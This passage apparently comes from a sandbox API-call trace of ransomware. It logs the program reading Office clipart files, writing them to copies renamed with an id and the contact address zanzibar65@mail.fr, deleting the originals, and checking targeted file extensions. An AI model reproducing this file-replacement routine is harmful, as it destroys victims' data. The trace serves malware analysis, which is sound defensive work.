lpFileSize=0x2d3ff1c*=3286) returned 1 [0274.072] CloseHandle (hObject=0x398) returned 1 [0274.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0274.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.072] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.072] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.073] GetLastError () returned 0x0 [0274.073] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xcd6, lpOverlapped=0x0) returned 1 [0274.074] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xce0, lpOverlapped=0x0) returned 1 [0274.075] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.075] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.075] SetEndOfFile (hFile=0x39c) returned 1 [0274.075] CloseHandle (hObject=0x39c) returned 1 [0274.075] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.075] SetEndOfFile (hFile=0x398) returned 1 [0274.077] CloseHandle (hObject=0x398) returned 1 [0274.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0274.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.078] lstrlenW (lpString=".doc") returned 4 [0274.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString=".docx") returned 5 [0274.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.078] lstrlenW (lpString=".pdf") returned 4 [0274.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString=".xls") returned 4 [0274.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.078] lstrlenW (lpString=".xlsx") returned 5 [0274.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.078] lstrlenW (lpString=".ppt") returned 4 [0274.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.078] lstrlenW (lpString=".zip") returned 4 [0274.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.078] lstrlenW (lpString=".rar") returned 4 [0274.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString=".bz2") returned 4 [0274.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString=".7z") returned 3 [0274.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.078] lstrlenW (lpString=".dbf") returned 4 [0274.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.078] lstrlenW (lpString=".1cd") returned 4 [0274.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.078] lstrlenW (lpString=".jpg") returned 4 [0274.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.079] lstrlenW (lpString=".doc") returned 4 [0274.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString=".docx") returned 5 [0274.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.079] lstrlenW (lpString=".pdf") returned 4 [0274.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString=".xls") returned 4 [0274.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.079] lstrlenW (lpString=".xlsx") returned 5 [0274.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.079] lstrlenW (lpString=".ppt") returned 4 [0274.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.079] lstrlenW (lpString=".zip") returned 4 [0274.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.079] lstrlenW (lpString=".rar") returned 4 [0274.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString=".bz2") returned 4 [0274.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString=".7z") returned 3 [0274.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.079] lstrlenW (lpString=".dbf") returned 4 [0274.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.079] lstrlenW (lpString=".1cd") returned 4 [0274.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63 [0274.080] lstrlenW (lpString=".jpg") returned 4 [0274.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.080] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.080] lstrlenW (lpString="HH00241_.WMF") returned 12 [0274.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.080] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=1960) returned 1 [0274.080] CloseHandle (hObject=0x398) returned 1 [0274.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0274.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.080] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.081] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.081] GetLastError () returned 0x0 [0274.081] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x7a8, lpOverlapped=0x0) returned 1 [0274.083] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x7b0, lpOverlapped=0x0) returned 1 [0274.084] ReadFile (in: hFile=0x398, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.084] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.084] SetEndOfFile (hFile=0x39c) returned 1 [0274.084] CloseHandle (hObject=0x39c) returned 1 [0274.084] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.084] SetEndOfFile (hFile=0x398) returned 1 [0274.117] CloseHandle (hObject=0x398) returned 1 [0274.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0274.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.117] lstrlenW (lpString=".doc") returned 4 [0274.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.117] lstrlenW (lpString=".docx") returned 5 [0274.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.117] lstrlenW (lpString=".pdf") returned 4 [0274.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.117] lstrlenW (lpString=".xls") returned 4 [0274.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.117] lstrlenW (lpString=".xlsx") returned 5 [0274.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.117] lstrlenW (lpString=".ppt") returned 4 [0274.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.118] lstrlenW (lpString=".zip") returned 4 [0274.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.118] lstrlenW (lpString=".rar") returned 4 [0274.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString=".bz2") returned 4 [0274.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString=".7z") returned 3 [0274.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.118] lstrlenW (lpString=".dbf") returned 4 [0274.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.118] lstrlenW (lpString=".1cd") returned 4 [0274.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.118] lstrlenW (lpString=".jpg") returned 4 [0274.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.118] lstrlenW (lpString=".doc") returned 4 [0274.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString=".docx") returned 5 [0274.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.118] lstrlenW (lpString=".pdf") returned 4 [0274.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString=".xls") returned 4 [0274.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.118] lstrlenW (lpString=".xlsx") returned 5 [0274.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.118] lstrlenW (lpString=".ppt") returned 4 [0274.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.119] lstrlenW (lpString=".zip") returned 4 [0274.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.119] lstrlenW (lpString=".rar") returned 4 [0274.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.119] lstrlenW (lpString=".bz2") returned 4 [0274.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.119] lstrlenW (lpString=".7z") returned 3 [0274.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.119] lstrlenW (lpString=".dbf") returned 4 [0274.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.119] lstrlenW (lpString=".1cd") returned 4 [0274.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0274.119] lstrlenW (lpString=".jpg") returned 4 [0274.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.119] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.119] lstrlenW (lpString="HH00443_.WMF") returned 12 [0274.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0274.224] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=3298) returned 1 [0274.224] CloseHandle (hObject=0x380) returned 1 [0274.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0274.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.370] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.370] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.371] GetLastError () returned 0x0 [0274.371] ReadFile (in: hFile=0x3a0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xce2, lpOverlapped=0x0) returned 1 [0274.380] WriteFile (in: hFile=0x2ec, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xcf0, lpOverlapped=0x0) returned 1 [0274.380] ReadFile (in: hFile=0x3a0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.380] WriteFile (in: hFile=0x2ec, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.381] SetEndOfFile (hFile=0x2ec) returned 1 [0274.381] CloseHandle (hObject=0x2ec) returned 1 [0274.381] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.381] SetEndOfFile (hFile=0x3a0) returned 1 [0274.383] CloseHandle (hObject=0x3a0) returned 1 [0274.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0274.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.514] lstrlenW (lpString=".doc") returned 4 [0274.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.514] lstrlenW (lpString=".docx") returned 5 [0274.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.514] lstrlenW (lpString=".pdf") returned 4 [0274.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.514] lstrlenW (lpString=".xls") returned 4 [0274.514] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.514] lstrlenW (lpString=".xlsx") returned 5 [0274.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.514] lstrlenW (lpString=".ppt") returned 4 [0274.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.514] lstrlenW (lpString=".zip") returned 4 [0274.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.514] lstrlenW (lpString=".rar") returned 4 [0274.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString=".bz2") returned 4 [0274.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString=".7z") returned 3 [0274.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.515] lstrlenW (lpString=".dbf") returned 4 [0274.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.515] lstrlenW (lpString=".1cd") returned 4 [0274.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.515] lstrlenW (lpString=".jpg") returned 4 [0274.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.515] lstrlenW (lpString=".doc") returned 4 [0274.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString=".docx") returned 5 [0274.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.515] lstrlenW (lpString=".pdf") returned 4 [0274.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString=".xls") returned 4 [0274.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.515] lstrlenW (lpString=".xlsx") returned 5 [0274.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.515] lstrlenW (lpString=".ppt") returned 4 [0274.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.515] lstrlenW (lpString=".zip") returned 4 [0274.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.516] lstrlenW (lpString=".rar") returned 4 [0274.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.516] lstrlenW (lpString=".bz2") returned 4 [0274.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.516] lstrlenW (lpString=".7z") returned 3 [0274.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.516] lstrlenW (lpString=".dbf") returned 4 [0274.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.516] lstrlenW (lpString=".1cd") returned 4 [0274.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0274.516] lstrlenW (lpString=".jpg") returned 4 [0274.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.516] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.516] lstrlenW (lpString="HH00612_.WMF") returned 12 [0274.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.541] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=12632) returned 1 [0274.541] CloseHandle (hObject=0x390) returned 1 [0274.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0274.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft 